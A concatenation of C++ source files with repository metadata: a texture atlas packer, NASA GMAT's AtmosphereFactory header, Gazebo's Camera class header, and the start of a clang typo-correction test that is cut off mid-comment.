//check if we found a perfect fit if (nodeSize.height == img.height() && nodeSize.width == img.width()) { //perfect fit, store the image node->img = img; return node; } //At this poing the node is splitted up //we will split in a way that we always end up with the biggest possible //empty rectangle size_t remainWidth = nodeSize.width - img.width(); size_t remainHeight = nodeSize.height - img.height(); if (remainWidth > remainHeight) { node->left = std::make_shared<Node>(Rect(nodePos, Size(img.width(), nodeSize.height))); node->right = std::make_shared<Node>(Rect(Pos(nodePos.x+img.width(), nodePos.y), Size(nodeSize.width - img.width(), nodeSize.height))); } else { node->left = std::make_shared<Node>(Rect(nodePos, Size(nodeSize.width, img.height()))); node->right = std::make_shared<Node>(Rect(Pos(nodePos.x, nodePos.y + img.height()), Size(nodeSize.width, nodeSize.height - img.height()))); } //now insert into leftmost Node return insertImage(img, node->left.get()); } } /** * @internal * @brief TextureAtlasPackerPrivate::collectNodes * Iterates over the full tree, filling the \a atlas and painting the images using the \a painter as well as writing * the image rectangle and filenmame into the output stream given by \a descStr. * If a error occurs and \a err is set, a error message is put there. */ bool TextureAtlasPackerPrivate::collectNodes(TextureAtlasPrivate *atlas, std::shared_ptr<PaintDevice> painter, std::basic_ostream<char> *descStr, Node *node, JobQueue<bool> *painterQueue, std::vector<std::future<bool>> &painterResults, std::string *err) { bool collected = false; if(node->img.isValid()) { collected = true; // we found a Image node, lets fill the information into the given structures Texture t(node->rect.topLeft, node->img); atlas->m_textures[node->img.path()] = t; // Renders the node into the atlas image, called from a async thread auto fun = [](std::shared_ptr<PaintDevice> painter, Node *node){ // paint the texture into the cache image if(!painter->paintImageFromFile(node->rect.topLeft, node->img.path())) { std::cout<<"Failed to paint image "<<node->img.path(); return false; } return true; }; // push the future results into a vector, so we can check if we had errors after all tasks are done painterResults.push_back(painterQueue->addTask(std::bind(fun, painter, node))); // the description file is written as a CSV file // @NOTE possible room for improvement, make the description file structure modular, // to make it easy to use another format (*descStr) << node->img.path() <<"," << t.pos.x<<"," << t.pos.y<<"," << t.image.width()<<"," << t.image.height()<<"\n"; } if (collected && (node->left || node->right )) { //this should never happen, if it does at least print a warning about it if(collected) std::cerr<<"Node has leafs AND image?"<<std::endl; } //recursively iterate through the child nodes, start with the left node again if(node->left) { if (!collectNodes(atlas, painter, descStr, node->left.get(), painterQueue, painterResults, err)) return false; } if(node->right){ if (!collectNodes(atlas, painter, descStr, node->right.get(), painterQueue, painterResults, err)) return false; } return true; } /** * @class TextureAtlasPacker::TextureAtlasPacker * Implements a packing algorithm to pack images into a bigger texture, called * a \a AtlasPack::TextureAtlas. This can speed up image loading in applications that make use * of a lot of small image files. * * This implementation makes use of the lightmap packing algorithm that can be found at http://blackpawn.com/texts/lightmaps/default.html */ TextureAtlasPacker::TextureAtlasPacker(Size atlasSize) : p(new TextureAtlasPackerPrivate()) { p->m_root.rect = Rect(Pos(0,0), atlasSize); } TextureAtlasPacker::~TextureAtlasPacker() { if (p) delete p; } /*! * \brief TextureAtlasPacker::size * Returns the current geometrical size of the texture atlas. */ Size TextureAtlasPacker::size() const { return p->m_root.rect.size; } /*! * \brief TextureAtlasPacker::insertImage * Tried to insert the \sa AtlasPack::Image given by \a img into the atlas. * The internal algorithm will split the atlas rectangle into smaller portions * until the image fits. * Returns \a true on success, or \a false in case the atlas does not have enough remaining space. */ bool TextureAtlasPacker::insertImage(const Image &img) { return p->insertImage(img, &p->m_root) != nullptr; } /** * \brief TextureAtlasPacker::compile * Compiles the current in memory state of the TextureAtlas into a description and * image file and stores them on disk. Expects \a basePath to point at a user writeable directory, * the last part of \a basePath will be used to form the texture atlas description file and image file names. * * \note This can take a lot of time for a big list of images, however the implementation does run with multiple * threads to speed the process up. */ TextureAtlas TextureAtlasPacker::compile(const std::string &basePath, Backend *backend, std::string *error) const { try { //the basepath is used to create the filenames for the 2 output files fs::path descFileName(basePath + ".atlas"); fs::path textureFile(basePath + ".png"); JobQueue<bool> jobs; //check if the output directory exists if (!fs::exists(descFileName.parent_path()) || !fs::is_directory(descFileName.parent_path())) { if (error) *error = "Basepath is not a directory or does not exist"; return TextureAtlas(); } //create atlas description text file std::ofstream descFile(descFileName.string(), std::ios::trunc | std::ios::out); if(!descFile.is_open()) { if (error) { std::stringstream s; s << "Could not create atlas index file "<<descFileName.string()<<" "<<strerror(errno); *error = s.str(); } return TextureAtlas(); } //get new painter instance from the backend auto painter = backend->createPaintDevice(p->m_root.rect.size); std::unique_ptr<TextureAtlasPrivate> priv = std::make_unique<TextureAtlasPrivate>(); std::vector<std::future<bool> > paintResults; //recursively collect all nodes, write them to the desc file and give paint tasks to the //JobQueue to run asynchronously if(!p->collectNodes(priv.get(), painter, &descFile, &p->m_root, &jobs, paintResults, error)) return TextureAtlas(); //wait until all painters are done jobs.waitForAllRunningTasks(); //check if we have errors in some of the painters, no need //to print which one here, because the painters will print a error message on their //own if required for (std::future<bool> &res : paintResults) { if (!res.get()) { std::cout<<"Some images failed to paint"; return TextureAtlas(); } } //finally save the result to a file if(!painter->exportToFile(textureFile.string())) { if (error) *error = "Failed to export Texture to file"; return TextureAtlas(); } descFile.close(); return TextureAtlas(priv.release()); } catch (const fs::filesystem_error& ex) { std::cerr << "Filesystem error while compiling the texture atlas: "<<ex.what() << std::endl; } catch (const std::exception &ex) { std::cerr << "Catched an exception when compiling the texture atlas."<<ex.what()<< std::endl; } catch (...) { std::cerr << "Catched an unknown exception when compiling the texture atlas." << std::endl; } return TextureAtlas(); } }
36.495356
141
0.625382
bzeller
b1e72c610db4b5556b161f6eedb7b96a501e00c3
2,387
hpp
C++
src/base/factory/AtmosphereFactory.hpp
supalogix/GMAT
eea9987ef0978b3e6702e70b587a098b2cbce14e
[ "Apache-2.0" ]
null
null
null
src/base/factory/AtmosphereFactory.hpp
supalogix/GMAT
eea9987ef0978b3e6702e70b587a098b2cbce14e
[ "Apache-2.0" ]
null
null
null
src/base/factory/AtmosphereFactory.hpp
supalogix/GMAT
eea9987ef0978b3e6702e70b587a098b2cbce14e
[ "Apache-2.0" ]
null
null
null
//$Id$ //------------------------------------------------------------------------------ // AtmosphereFactory //------------------------------------------------------------------------------ // GMAT: General Mission Analysis Tool // // Copyright (c) 2002 - 2017 United States Government as represented by the // Administrator of the National Aeronautics and Space Administration. // All Other Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // You may not use this file except in compliance with the License. // You may obtain a copy of the License at: // http://www.apache.org/licenses/LICENSE-2.0. // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either // express or implied. See the License for the specific language // governing permissions and limitations under the License. // // Developed jointly by NASA/GSFC and Thinking Systems, Inc. under contract // number S-67573-G // // Author: Wendy Shoan // Created: 2004/08/12 // /** * This class is the factory class for Atmospheres. */ //------------------------------------------------------------------------------ #ifndef AtmosphereFactory_hpp #define AtmosphereFactory_hpp #include "gmatdefs.hpp" #include "Factory.hpp" #include "AtmosphereModel.hpp" class GMAT_API AtmosphereFactory : public Factory { public: GmatBase* CreateObject(const std::string &ofType, const std::string &withName = ""); AtmosphereModel* CreateAtmosphereModel(const std::string &ofType, const std::string &withName = ""); // method to return list of types of objects that this factory can create virtual StringArray GetListOfCreatableObjects( const std::string &qualifier = "Earth"); // default constructor AtmosphereFactory(); // constructor AtmosphereFactory(StringArray createList); // copy constructor AtmosphereFactory(const AtmosphereFactory& fact); // assignment operator AtmosphereFactory& operator= (const AtmosphereFactory& fact); // destructor ~AtmosphereFactory(); protected: // protected data private: }; #endif // AtmosphereFactory_hpp
31.407895
80
0.617093
supalogix
b1e762019e0a0c1218fa988e80a15a94a950c77d
26,612
hh
C++
gazebo/rendering/Camera.hh
thomas-moulard/gazebo-deb
456da84cfb7b0bdac53241f6c4e86ffe1becfa7d
[ "ECL-2.0", "Apache-2.0" ]
8
2015-07-02T08:23:30.000Z
2020-11-17T19:00:38.000Z
gazebo/rendering/Camera.hh
thomas-moulard/gazebo-deb
456da84cfb7b0bdac53241f6c4e86ffe1becfa7d
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
gazebo/rendering/Camera.hh
thomas-moulard/gazebo-deb
456da84cfb7b0bdac53241f6c4e86ffe1becfa7d
[ "ECL-2.0", "Apache-2.0" ]
10
2015-04-22T18:33:15.000Z
2021-11-16T10:17:45.000Z
/* * Copyright 2012 Open Source Robotics Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ /* Desc: A persepective OGRE Camera * Author: Nate Koenig * Date: 15 July 2003 */ #ifndef _RENDERING_CAMERA_HH_ #define _RENDERING_CAMERA_HH_ #include <boost/enable_shared_from_this.hpp> #include <string> #include <utility> #include <list> #include <vector> #include <deque> #include "common/Event.hh" #include "common/Time.hh" #include "math/Angle.hh" #include "math/Pose.hh" #include "math/Plane.hh" #include "math/Vector2i.hh" #include "msgs/MessageTypes.hh" #include "rendering/RenderTypes.hh" #include "sdf/sdf.hh" // Forward Declarations namespace Ogre { class Texture; class RenderTarget; class Camera; class Viewport; class SceneNode; class AnimationState; class CompositorInstance; } namespace gazebo { /// \ingroup gazebo_rendering /// \brief Rendering namespace namespace rendering { class MouseEvent; class ViewController; class Scene; class GaussianNoiseCompositorListener; /// \addtogroup gazebo_rendering Rendering /// \brief A set of rendering related class, functions, and definitions /// \{ /// \class Camera Camera.hh rendering/rendering.hh /// \brief Basic camera sensor /// /// This is the base class for all cameras. class Camera : public boost::enable_shared_from_this<Camera> { /// \brief Constructor /// \param[in] _namePrefix Unique prefix name for the camera. /// \param[in] _scene Scene that will contain the camera /// \param[in] _autoRender Almost everyone should leave this as true. public: Camera(const std::string &_namePrefix, ScenePtr _scene, bool _autoRender = true); /// \brief Destructor public: virtual ~Camera(); /// \brief Load the camera with a set of parmeters /// \param[in] _sdf The SDF camera info public: virtual void Load(sdf::ElementPtr _sdf); /// \brief Load the camera with default parmeters public: virtual void Load(); /// \brief Initialize the camera public: virtual void Init(); /// \brief Set the render Hz rate /// \param[in] _hz The Hz rate public: void SetRenderRate(double _hz); /// \brief Get the render Hz rate /// \return The Hz rate public: double GetRenderRate() const; /// \brief Render the camera /// /// Called after the pre-render signal. This function will generate /// camera images public: void Render(); /// \brief Post render /// /// Called afer the render signal. public: virtual void PostRender(); /// \internal /// \brief Update the camera information. This does not render images. /// /// This function gets called automatically. There is no need for the /// average user to call this function. public: virtual void Update(); /// \brief Finalize the camera. /// /// This function is called before the camera is destructed public: virtual void Fini(); /// Deprecated. /// \sa GetInitialized public: inline bool IsInitialized() const GAZEBO_DEPRECATED(1.5); /// \brief Return true if the camera has been initialized /// \return True if initialized was successful public: bool GetInitialized() const; /// \internal /// \brief Set the ID of the window this camera is rendering into. /// \param[in] _windowId The window id of the camera. public: void SetWindowId(unsigned int _windowId); /// \brief Get the ID of the window this camera is rendering into. /// \return The ID of the window. public: unsigned int GetWindowId() const; /// \brief Set the scene this camera is viewing /// \param[in] _scene Pointer to the scene public: void SetScene(ScenePtr _scene); /// \brief Get the global pose of the camera /// \return Pose of the camera in the world coordinate frame public: math::Pose GetWorldPose(); /// \brief Get the camera position in the world /// \return The world position of the camera public: math::Vector3 GetWorldPosition() const; /// \brief Get the camera's orientation in the world /// \return The camera's orientation as a math::Quaternion public: math::Quaternion GetWorldRotation() const; /// \brief Set the global pose of the camera /// \param[in] _pose The new math::Pose of the camera public: virtual void SetWorldPose(const math::Pose &_pose); /// \brief Set the world position /// \param[in] _pos The new position of the camera public: void SetWorldPosition(const math::Vector3 &_pos); /// \brief Set the world orientation /// \param[in] _quat The new orientation of the camera public: void SetWorldRotation(const math::Quaternion &_quat); /// \brief Translate the camera /// \param[in] _direction The translation vector public: void Translate(const math::Vector3 &_direction); /// \brief Rotate the camera around the yaw axis /// \param[in] _angle Rotation amount public: void RotateYaw(math::Angle _angle); /// \brief Rotate the camera around the pitch axis /// \param[in] _angle Pitch amount public: void RotatePitch(math::Angle _angle); /// \brief Set the clip distances /// \param[in] _near Near clip distance in meters /// \param[in] _far Far clip distance in meters public: void SetClipDist(float _near, float _far); /// \brief Set the camera FOV (horizontal) /// \param[in] _radians Horizontal field of view public: void SetHFOV(math::Angle _angle); /// \brief Get the camera FOV (horizontal) /// \return The horizontal field of view public: math::Angle GetHFOV() const; /// \brief Get the camera FOV (vertical) /// \return The vertical field of view public: math::Angle GetVFOV() const; /// \brief Set the image size /// \param[in] _w Image width /// \param[in] _h Image height public: void SetImageSize(unsigned int _w, unsigned int _h); /// \brief Set the image height /// \param[in] _w Image width public: void SetImageWidth(unsigned int _w); /// \brief Set the image height /// \param[in] _h Image height public: void SetImageHeight(unsigned int _h); /// \brief Get the width of the image /// \return Image width public: virtual unsigned int GetImageWidth() const; /// \brief Get the width of the off-screen render texture /// \return Render texture width public: unsigned int GetTextureWidth() const; /// \brief Get the height of the image /// \return Image height public: virtual unsigned int GetImageHeight() const; /// \brief Get the depth of the image /// \return Depth of the image public: unsigned int GetImageDepth() const; /// \brief Get the string representation of the image format. /// \return String representation of the image format. public: std::string GetImageFormat() const; /// \brief Get the height of the off-screen render texture /// \return Render texture height public: unsigned int GetTextureHeight() const; /// \brief Get the image size in bytes /// \return Size in bytes public: size_t GetImageByteSize() const; /// \brief Calculate image byte size base on a few parameters. /// \param[in] _width Width of an image /// \param[in] _height Height of an image /// \param[in] _format Image format /// \return Size of an image based on the parameters public: static size_t GetImageByteSize(unsigned int _width, unsigned int _height, const std::string &_format); /// \brief Get the Z-buffer value at the given image coordinate. /// \param[in] _x Image coordinate; (0, 0) specifies the top-left corner. /// \param[in] _y Image coordinate; (0, 0) specifies the top-left corner. /// \returns Image z value; note that this is abitrarily scaled and /// is @e not the same as the depth value. public: double GetZValue(int _x, int _y); /// \brief Get the near clip distance /// \return Near clip distance public: double GetNearClip(); /// \brief Get the far clip distance /// \return Far clip distance public: double GetFarClip(); /// \brief Enable or disable saving /// \param[in] _enable Set to True to enable saving of frames public: void EnableSaveFrame(bool _enable); /// \brief Set the save frame pathname /// \param[in] _pathname Directory in which to store saved image frames public: void SetSaveFramePathname(const std::string &_pathname); /// \brief Save the last frame to disk /// \param[in] _filename File in which to save a single frame /// \return True if saving was successful public: bool SaveFrame(const std::string &_filename); /// \brief Get a pointer to the ogre camera /// \return Pointer to the OGRE camera public: Ogre::Camera *GetOgreCamera() const; /// \brief Get a pointer to the Ogre::Viewport /// \return Pointer to the Ogre::Viewport public: Ogre::Viewport *GetViewport() const; /// \brief Get the viewport width in pixels /// \return The viewport width public: unsigned int GetViewportWidth() const; /// \brief Get the viewport height in pixels /// \return The viewport height public: unsigned int GetViewportHeight() const; /// \brief Get the viewport up vector /// \return The viewport up vector public: math::Vector3 GetUp(); /// \brief Get the viewport right vector /// \return The viewport right vector public: math::Vector3 GetRight(); /// \brief Get the average FPS /// \return The average frames per second public: virtual float GetAvgFPS() {return 0;} /// \brief Get the triangle count /// \return The current triangle count public: virtual unsigned int GetTriangleCount() {return 0;} /// \brief Set the aspect ratio /// \param[in] _ratio The aspect ratio (width / height) in pixels public: void SetAspectRatio(float _ratio); /// \brief Get the apect ratio /// \return The aspect ratio (width / height) in pixels public: float GetAspectRatio() const; /// \brief Set the camera's scene node /// \param[in] _node The scene nodes to attach the camera to public: void SetSceneNode(Ogre::SceneNode *_node); /// \brief Get the camera's scene node /// \return The scene node the camera is attached to public: Ogre::SceneNode *GetSceneNode() const; /// \brief Get the camera's pitch scene node /// \return The pitch node the camera is attached to public: Ogre::SceneNode *GetPitchNode() const; /// \brief Get a pointer to the image data /// /// Get the raw image data from a camera's buffer. /// \param[in] _i Index of the camera's texture (0 = RGB, 1 = depth). /// \return Pointer to the raw data, null if data is not available. public: virtual const unsigned char *GetImageData(unsigned int i = 0); /// \brief Get the camera's name /// \return The name of the camera public: std::string GetName() const; /// \brief Set the camera's name /// \param[in] _name New name for the camera public: void SetName(const std::string &_name); /// \brief Toggle whether to view the world in wireframe public: void ToggleShowWireframe(); /// \brief Set whether to view the world in wireframe /// \param[in] _s Set to True to render objects as wireframe public: void ShowWireframe(bool _s); /// \brief Get a world space ray as cast from the camera /// through the viewport /// \param[in] _screenx X coordinate in the camera's viewport, in pixels. /// \param[in] _screeny Y coordinate in the camera's viewport, in pixels. /// \param[out] _origin Origin in the world coordinate frame of the /// resulting ray /// \param[out] _dir Direction of the resulting ray public: void GetCameraToViewportRay(int _screenx, int _screeny, math::Vector3 &_origin, math::Vector3 &_dir); /// \brief Set whether to capture data /// \param[in] _value Set to true to capture data into a memory buffer. public: void SetCaptureData(bool _value); /// \brief Capture data once and save to disk public: void SetCaptureDataOnce(); /// \brief Set the render target /// \param[in] _textureName Name of the new render texture public: void CreateRenderTexture(const std::string &_textureName); /// \brief Get the scene this camera is in /// \return Pointer to scene containing this camera public: ScenePtr GetScene() const; /// \brief Get point on a plane /// \param[in] _x X cooridnate in camera's viewport, in pixels /// \param[in] _y Y cooridnate in camera's viewport, in pixels /// \param[in] _plane Plane on which to find the intersecting point /// \param[out] _result Point on the plane /// \return True if a valid point was found public: bool GetWorldPointOnPlane(int _x, int _y, const math::Plane &_plane, math::Vector3 &_result); /// \brief Set the camera's render target /// \param[in] _target Pointer to the render target public: virtual void SetRenderTarget(Ogre::RenderTarget *_target); /// \brief Attach the camera to a scene node /// \param[in] _visualName Name of the visual to attach the camera to /// \param[in] _inheritOrientation True means camera acquires the visual's /// orientation /// \param[in] _minDist Minimum distance the camera is allowed to get to /// the visual /// \param[in] _maxDist Maximum distance the camera is allowd to get from /// the visual public: void AttachToVisual(const std::string &_visualName, bool _inheritOrientation, double _minDist = 0.0, double _maxDist = 0.0); /// \brief Set the camera to track a scene node /// \param[in] _visualName Name of the visual to track public: void TrackVisual(const std::string &_visualName); /// \brief Get the render texture /// \return Pointer to the render texture public: Ogre::Texture *GetRenderTexture() const; /// \brief Get the camera's direction vector /// \return Direction the camera is facing public: math::Vector3 GetDirection() const; /// \brief Connect to the new image signal /// \param[in] _subscriber Callback that is called when a new image is /// generated /// \return A pointer to the connection. This must be kept in scope. public: template<typename T> event::ConnectionPtr ConnectNewImageFrame(T _subscriber) {return newImageFrame.Connect(_subscriber);} /// \brief Disconnect from an image frame /// \param[in] _c The connection to disconnect public: void DisconnectNewImageFrame(event::ConnectionPtr &_c) {newImageFrame.Disconnect(_c);} /// \brief Save a frame using an image buffer /// \param[in] _image The raw image buffer /// \param[in] _width Width of the image /// \param[in] _height Height of the image /// \param[in] _depth Depth of the image data /// \param[in] _format Format the image data is in /// \param[in] _filename Name of the file in which to write the frame /// \return True if saving was successful public: static bool SaveFrame(const unsigned char *_image, unsigned int _width, unsigned int _height, int _depth, const std::string &_format, const std::string &_filename); /// \brief Get the last time the camera was rendered /// \return Time the camera was last rendered public: common::Time GetLastRenderWallTime(); /// \brief Return true if the visual is within the camera's view /// frustum /// \param[in] _visual The visual to check for visibility /// \return True if the _visual is in the camera's frustum public: bool IsVisible(VisualPtr _visual); /// \brief Return true if the visual is within the camera's view /// frustum /// \param[in] _visualName Name of the visual to check for visibility /// \return True if the _visual is in the camera's frustum public: bool IsVisible(const std::string &_visualName); /// \brief Return true if the camera is moving due to an animation. public: bool IsAnimating() const; /// \brief Move the camera to a position (this is an animated motion). /// \sa Camera::MoveToPositions /// \param[in] _pose End position of the camera /// \param[in] _time Duration of the camera's movement public: virtual bool MoveToPosition(const math::Pose &_pose, double _time); /// \brief Move the camera to a series of poses (this is an /// animated motion). /// \sa Camera::MoveToPosition /// \param[in] _pts Vector of poses to move to /// \param[in] _time Duration of the entire move /// \param[in] _onComplete Callback that is called when the move is /// complete public: bool MoveToPositions(const std::vector<math::Pose> &_pts, double _time, boost::function<void()> _onComplete = NULL); /// \brief Get the path to saved screenshots. /// \return Path to saved screenshots. public: std::string GetScreenshotPath() const; /// \brief Implementation of the render call protected: virtual void RenderImpl(); /// \brief Implementation of the Camera::TrackVisual call /// \param[in] _visualName Name of the visual to track /// \return True if able to track the visual protected: bool TrackVisualImpl(const std::string &_visualName); /// \brief Set the camera to track a scene node /// \param[in] _visual The visual to track /// \return True if able to track the visual protected: virtual bool TrackVisualImpl(VisualPtr _visual); /// \brief Attach the camera to a scene node /// \param[in] _visualName Name of the visual to attach the camera to /// \param[in] _inheritOrientation True means camera acquires the visual's /// orientation /// \param[in] _minDist Minimum distance the camera is allowed to get to /// the visual /// \param[in] _maxDist Maximum distance the camera is allowd to get from /// the visual /// \return True on success protected: virtual bool AttachToVisualImpl(const std::string &_name, bool _inheritOrientation, double _minDist = 0, double _maxDist = 0); /// \brief Attach the camera to a visual /// \param[in] _visual The visual to attach the camera to /// \param[in] _inheritOrientation True means camera acquires the visual's /// orientation /// \param[in] _minDist Minimum distance the camera is allowed to get to /// the visual /// \param[in] _maxDist Maximum distance the camera is allowd to get from /// the visual /// \return True on success protected: virtual bool AttachToVisualImpl(VisualPtr _visual, bool _inheritOrientation, double _minDist = 0, double _maxDist = 0); /// \brief Get the next frame filename based on SDF parameters /// \return The frame's filename protected: std::string GetFrameFilename(); /// \brief Internal function used to indicate that an animation has /// completed. protected: virtual void AnimationComplete(); /// \brief if user requests bayer image, post process rgb from ogre /// to generate bayer formats /// \param[in] _dst Destination buffer for the image data /// \param[in] _src Source image buffer /// \param[in] _format Format of the source buffer /// \param[in] _width Image width /// \param[in] _height Image height private: void ConvertRGBToBAYER(unsigned char *_dst, unsigned char *_src, std::string _format, int _width, int _height); /// \brief Set the clip distance based on stored SDF values private: void SetClipDist(); /// \brief Get the OGRE image pixel format in /// \param[in] _format The Gazebo image format /// \return Integer representation of the Ogre image format private: static int GetOgrePixelFormat(const std::string &_format); /// \brief Create the ogre camera. private: void CreateCamera(); /// \brief Name of the camera. protected: std::string name; /// \brief Camera's SDF values. protected: sdf::ElementPtr sdf; /// \brief ID of the window that the camera is attached to. protected: unsigned int windowId; /// \brief Width of the render texture. protected: unsigned int textureWidth; /// \brief Height of the render texture. protected: unsigned int textureHeight; /// \brief The OGRE camera protected: Ogre::Camera *camera; /// \brief Viewport the ogre camera uses. protected: Ogre::Viewport *viewport; /// \brief Scene node that controls camera position. protected: Ogre::SceneNode *sceneNode; /// \brief Scene nod that controls camera pitch. protected: Ogre::SceneNode *pitchNode; // \brief Buffer for a single image frame. protected: unsigned char *saveFrameBuffer; /// \brief Buffer for a bayer image frame. protected: unsigned char *bayerFrameBuffer; /// \brief Number of saved frames. protected: unsigned int saveCount; /// \brief Path to saved screenshots. protected: std::string screenshotPath; /// \brief Format for saving images. protected: int imageFormat; /// \brief Save image width. protected: int imageWidth; /// \brief Save image height. protected: int imageHeight; /// \brief Target that renders frames. protected: Ogre::RenderTarget *renderTarget; /// \brief Texture that receives results from rendering. protected: Ogre::Texture *renderTexture; /// \brief True to capture frames into an image buffer. protected: bool captureData; /// \brief True to capture a frame once and save to disk. protected: bool captureDataOnce; /// \brief True if new data is available. protected: bool newData; /// \brief Time the last frame was rendered. protected: common::Time lastRenderWallTime; /// \brief Pointer to the scene. protected: ScenePtr scene; /// \brief Event triggered when a new frame is generated. protected: event::EventT<void(const unsigned char *, unsigned int, unsigned int, unsigned int, const std::string &)> newImageFrame; /// \brief The camera's event connections. protected: std::vector<event::ConnectionPtr> connections; /// \brief List of requests. protected: std::list<msgs::Request> requests; /// \brief True if initialized. protected: bool initialized; /// \brief Animation state, used to animate the camera. protected: Ogre::AnimationState *animState; /// \brief Previous time the camera animation was updated. protected: common::Time prevAnimTime; /// \brief User callback for when an animation completes. protected: boost::function<void()> onAnimationComplete; /// \brief Pointer to image SDF element. private: sdf::ElementPtr imageElem; /// \brief Visual that the camera is tracking. private: VisualPtr trackedVisual; /// \brief Counter used to create unique camera names. private: static unsigned int cameraCounter; /// \brief Deferred shading geometry buffer. private: Ogre::CompositorInstance *dsGBufferInstance; /// \brief Deferred shading merge compositor. private: Ogre::CompositorInstance *dsMergeInstance; /// \brief Deferred lighting geometry buffer. private: Ogre::CompositorInstance *dlGBufferInstance; /// \brief Deferred lighting merge compositor. private: Ogre::CompositorInstance *dlMergeInstance; /// \brief Screen space ambient occlusion compositor. private: Ogre::CompositorInstance *ssaoInstance; /// \brief Gaussian noise compositor private: Ogre::CompositorInstance *gaussianNoiseInstance; /// \brief Gaussian noise compositor listener private: boost::shared_ptr<GaussianNoiseCompositorListener> gaussianNoiseCompositorListener; /// \brief Queue of move positions. private: std::deque<std::pair<math::Pose, double> > moveToPositionQueue; /// \brief Render period. private: common::Time renderPeriod; /// \brief Which noise type we support private: enum NoiseModelType { NONE, GAUSSIAN }; /// \brief If true, apply the noise model specified by other /// noise parameters private: bool noiseActive; /// \brief Which type of noise we're applying private: enum NoiseModelType noiseType; /// \brief If noiseType==GAUSSIAN, noiseMean is the mean of the /// distibution from which we sample private: double noiseMean; /// \brief If noiseType==GAUSSIAN, noiseStdDev is the standard /// devation of the distibution from which we sample private: double noiseStdDev; }; /// \} } } #endif
37.534556
80
0.645498
thomas-moulard
b1e8d91d450d22de3cbd04d22f6f4111185d79a4
8,693
cpp
C++
clang/test/SemaCXX/typo-correction.cpp
clairechingching/ScaffCC
737ae90f85d9fe79819d66219747d27efa4fa5b9
[ "BSD-2-Clause" ]
1
2022-02-05T23:28:35.000Z
2022-02-05T23:28:35.000Z
clang/test/SemaCXX/typo-correction.cpp
clairechingching/ScaffCC
737ae90f85d9fe79819d66219747d27efa4fa5b9
[ "BSD-2-Clause" ]
1
2020-02-22T09:59:21.000Z
2020-02-22T09:59:21.000Z
clang/test/SemaCXX/typo-correction.cpp
clairechingching/ScaffCC
737ae90f85d9fe79819d66219747d27efa4fa5b9
[ "BSD-2-Clause" ]
1
2020-11-04T06:38:51.000Z
2020-11-04T06:38:51.000Z
// RUN: %clang_cc1 -fsyntax-only -verify -Wno-c++11-extensions %s struct errc { int v_; operator int() const {return v_;} }; class error_condition { int _val_; public: error_condition() : _val_(0) {} error_condition(int _val) : _val_(_val) {} template <class E> error_condition(E _e) { // make_error_condition must not be typo corrected to error_condition // even though the first declaration of make_error_condition has not // yet been encountered. This was a bug in the first version of the type // name typo correction patch that wasn't noticed until building LLVM with // Clang failed. *this = make_error_condition(_e); } }; inline error_condition make_error_condition(errc _e) { return error_condition(static_cast<int>(_e)); } // Prior to the introduction of a callback object to further filter possible // typo corrections, this example would not trigger a suggestion as "base_type" // is a closer match to "basetype" than is "BaseType" but "base_type" does not // refer to a base class or non-static data member. struct BaseType { }; struct Derived : public BaseType { // expected-note {{base class 'BaseType' specified here}} static int base_type; // expected-note {{'base_type' declared here}} Derived() : basetype() {} // expected-error{{initializer 'basetype' does not name a non-static data member or base class; did you mean the base class 'BaseType'?}} }; // Test the improvement from passing a callback object to CorrectTypo in // the helper function LookupMemberExprInRecord. int get_type(struct Derived *st) { return st->Base_Type; // expected-error{{no member named 'Base_Type' in 'Derived'; did you mean 'base_type'?}} } // In this example, somename should not be corrected to the cached correction // "some_name" since "some_name" is a class and a namespace name is needed. class some_name {}; // expected-note {{'some_name' declared here}} somename Foo; // expected-error {{unknown type name 'somename'; did you mean 'some_name'?}} namespace SomeName {} // expected-note {{namespace 'SomeName' defined here}} using namespace somename; // expected-error {{no namespace named 'somename'; did you mean 'SomeName'?}} // Without the callback object, CorrectTypo would choose "field1" as the // correction for "fielda" as it is closer than "FieldA", but that correction // would be later discarded by the caller and no suggestion would be given. struct st { struct { int field1; }; double FieldA; // expected-note{{'FieldA' declared here}} }; st var = { .fielda = 0.0 }; // expected-error{{field designator 'fielda' does not refer to any field in type 'st'; did you mean 'FieldA'?}} // Test the improvement from passing a callback object to CorrectTypo in // Sema::BuildCXXNestedNameSpecifier. And also for the improvement by doing // so in Sema::getTypeName. typedef char* another_str; // expected-note{{'another_str' declared here}} namespace AnotherStd { // expected-note{{'AnotherStd' declared here}} class string {}; } another_std::string str; // expected-error{{use of undeclared identifier 'another_std'; did you mean 'AnotherStd'?}} another_str *cstr = new AnotherStr; // expected-error{{unknown type name 'AnotherStr'; did you mean 'another_str'?}} // Test the improvement from passing a callback object to CorrectTypo in // Sema::ActOnSizeofParameterPackExpr. char* TireNames; template<typename ...TypeNames> struct count { // expected-note{{parameter pack 'TypeNames' declared here}} static const unsigned value = sizeof...(TyreNames); // expected-error{{'TyreNames' does not refer to the name of a parameter pack; did you mean 'TypeNames'?}} }; // Test the typo-correction callback in Sema::DiagnoseUnknownTypeName. namespace unknown_type_test { class StreamOut {}; // expected-note 2 {{'StreamOut' declared here}} long stream_count; // expected-note 2 {{'stream_count' declared here}} }; unknown_type_test::stream_out out; // expected-error{{no type named 'stream_out' in namespace 'unknown_type_test'; did you mean 'StreamOut'?}} // Demonstrate a case where using only the cached value returns the wrong thing // when the cached value was the result of a previous callback object that only // accepts a subset of the current callback object. namespace { using namespace unknown_type_test; void bar(long i); void before_caching_classname() { bar((stream_out)); // expected-error{{use of undeclared identifier 'stream_out'; did you mean 'stream_count'?}} } stream_out out; // expected-error{{unknown type name 'stream_out'; did you mean 'StreamOut'?}} void after_caching_classname() { bar((stream_out)); // expected-error{{use of undeclared identifier 'stream_out'; did you mean 'stream_count'?}} } } // Test the typo-correction callback in Sema::DiagnoseInvalidRedeclaration. struct BaseDecl { void add_in(int i); }; struct TestRedecl : public BaseDecl { void add_it(int i); // expected-note{{'add_it' declared here}} }; void TestRedecl::add_in(int i) {} // expected-error{{out-of-line definition of 'add_in' does not match any declaration in 'TestRedecl'; did you mean 'add_it'?}} // Test the improved typo correction for the Parser::ParseCastExpr => // 